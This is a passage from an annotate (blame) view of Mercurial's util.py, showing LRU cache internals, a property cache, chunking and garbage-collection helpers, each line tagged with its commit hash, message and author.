E.next = N (head.prev.next = node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1641 |
N.prev = E (node.prev = head.prev) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1642 |
N.next = A (node.next = head) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1643 |
A.prev = N (head.prev = node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1644 |
""" |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1645 |
head = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1646 |
# C.next = D |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1647 |
node.prev.next = node.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1648 |
# D.prev = C |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1649 |
node.next.prev = node.prev |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1650 |
# N.prev = E |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1651 |
node.prev = head.prev |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1652 |
# N.next = A |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1653 |
# It is tempting to do just "head" here, however if node is |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1654 |
# adjacent to head, this will do bad things. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1655 |
node.next = head.prev.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1656 |
# E.next = N |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1657 |
node.next.prev = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1658 |
# A.prev = N |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1659 |
node.prev.next = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1660 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1661 |
self._head = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1662 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1663 |
def _addcapacity(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1664 |
"""Add a node to the circular linked list. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1665 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1666 |
The new node is inserted before the head node. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1667 |
""" |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1668 |
head = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1669 |
node = _lrucachenode() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1670 |
head.prev.next = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1671 |
node.prev = head.prev |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1672 |
node.next = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1673 |
head.prev = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1674 |
self._size += 1 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1675 |
return node |
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
1676 |
|
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1677 |
def _enforcecostlimit(self): |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1678 |
# This should run after an insertion. It should only be called if total |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1679 |
# cost limits are being enforced. |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1680 |
# The most recently inserted node is never evicted. |
39569
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1681 |
if len(self) <= 1 or self.totalcost <= self.maxcost: |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1682 |
return |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1683 |
|
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1684 |
# This is logically equivalent to calling popoldest() until we |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1685 |
# free up enough cost. We don't do that since popoldest() needs |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1686 |
# to walk the linked list and doing this in a loop would be |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1687 |
# quadratic. So we find the first non-empty node and then |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1688 |
# walk nodes until we free up enough capacity. |
39570
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1689 |
# |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1690 |
# If we only removed the minimum number of nodes to free enough |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1691 |
# cost at insert time, chances are high that the next insert would |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1692 |
# also require pruning. This would effectively constitute quadratic |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1693 |
# behavior for insert-heavy workloads. To mitigate this, we set a |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1694 |
# target cost that is a percentage of the max cost. This will tend |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1695 |
# to free more nodes when the high water mark is reached, which |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1696 |
# lowers the chances of needing to prune on the subsequent insert. |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1697 |
targetcost = int(self.maxcost * 0.75) |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1698 |
|
39569
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1699 |
n = self._head.prev |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1700 |
while n.key is _notset: |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1701 |
n = n.prev |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1702 |
|
39570
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1703 |
while len(self) > 1 and self.totalcost > targetcost: |
39569
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1704 |
del self._cache[n.key] |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1705 |
self.totalcost -= n.cost |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1706 |
n.markempty() |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1707 |
n = n.prev |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1708 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1709 |
|
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1710 |
def lrucachefunc(func): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1711 |
'''cache most recent results of function calls''' |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1712 |
cache = {} |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
1713 |
order = collections.deque() |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
1714 |
if func.__code__.co_argcount == 1: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1715 |
|
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1716 |
def f(arg): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1717 |
if arg not in cache: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1718 |
if len(cache) > 20: |
16803
107a3270a24a
cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents:
16769
diff
changeset
|
1719 |
del cache[order.popleft()] |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1720 |
cache[arg] = func(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1721 |
else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1722 |
order.remove(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1723 |
order.append(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1724 |
return cache[arg] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1725 |
|
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1726 |
else: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1727 |
|
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1728 |
def f(*args): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1729 |
if args not in cache: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1730 |
if len(cache) > 20: |
16803
107a3270a24a
cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents:
16769
diff
changeset
|
1731 |
del cache[order.popleft()] |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1732 |
cache[args] = func(*args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1733 |
else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1734 |
order.remove(args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1735 |
order.append(args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1736 |
return cache[args] |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1737 |
|
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1738 |
return f |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1739 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1740 |
|
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1741 |
class propertycache(object): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1742 |
def __init__(self, func): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1743 |
self.func = func |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1744 |
self.name = func.__name__ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1745 |
|
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1746 |
def __get__(self, obj, type=None): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1747 |
result = self.func(obj) |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
1748 |
self.cachevalue(obj, result) |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1749 |
return result |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1750 |
|
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
1751 |
def cachevalue(self, obj, value): |
19951
d51c4d85ec23
spelling: random spell checker fixes
Mads Kiilerich <madski@unity3d.com>
parents:
19852
diff
changeset
|
1752 |
# __dict__ assignment required to bypass __setattr__ (eg: repoview) |
19845
a1237a4b437d
repoview: make propertycache.setcache compatible with repoview
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
19461
diff
changeset
|
1753 |
obj.__dict__[self.name] = value |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
1754 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1755 |
|
35014
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1756 |
def clearcachedproperty(obj, prop): |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1757 |
'''clear a cached property value, if one has been set''' |
40689
475921a3028c
py3: cast attribute name to sysstr in clearcachedproperty()
Yuya Nishihara <yuya@tcha.org>
parents:
40251
diff
changeset
|
1758 |
prop = pycompat.sysstr(prop) |
35014
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1759 |
if prop in obj.__dict__: |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1760 |
del obj.__dict__[prop] |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1761 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1762 |
|
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1763 |
def increasingchunks(source, min=1024, max=65536): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
1764 |
"""return no less than min bytes per chunk while data remains, |
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
1765 |
doubling min after each chunk until it reaches max""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1766 |
|
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1767 |
def log2(x): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1768 |
if not x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1769 |
return 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1770 |
i = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1771 |
while x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1772 |
x >>= 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1773 |
i += 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1774 |
return i - 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1775 |
|
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1776 |
buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1777 |
blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1778 |
for chunk in source: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1779 |
buf.append(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1780 |
blen += len(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1781 |
if blen >= min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1782 |
if min < max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1783 |
min = min << 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1784 |
nmin = 1 << log2(blen) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1785 |
if nmin > min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1786 |
min = nmin |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1787 |
if min > max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1788 |
min = max |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1789 |
yield b''.join(buf) |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1790 |
blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1791 |
buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1792 |
if buf: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1793 |
yield b''.join(buf) |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1794 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1795 |
|
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1796 |
def always(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1797 |
return True |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1798 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1799 |
|
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1800 |
def never(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1801 |
return False |
724
1c0c413cccdd
Get add and locate to use new repo and dirstate walk code.
Bryan O'Sullivan <bos@serpentine.com>
parents:
705
diff
changeset
|
1802 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1803 |
|
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1804 |
def nogc(func): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1805 |
"""disable garbage collector |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1806 |
|
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1807 |
Python's garbage collector triggers a GC each time a certain number of |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1808 |
container objects (the number being defined by gc.get_threshold()) are |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1809 |
allocated even when marked not to be tracked by the collector. Tracking has |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1810 |
no effect on when GCs are triggered, only on what objects the GC looks |
23543
4dd8a6a1240d
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23495
diff
changeset
|
1811 |
into. As a workaround, disable GC while building complex (huge) |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1812 |
containers. |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1813 |
|
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1814 |
This garbage collector issue have been fixed in 2.7. But it still affect |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1815 |
CPython's performance. |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1816 |
""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1817 |
|
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1818 |
def wrapper(*args, **kwargs): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1819 |
gcenabled = gc.isenabled() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1820 |
gc.disable() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1821 |
try: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1822 |
return func(*args, **kwargs) |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1823 |
finally: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1824 |
if gcenabled: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1825 |
gc.enable() |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1826 |
|
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1827 |
return wrapper |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1828 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
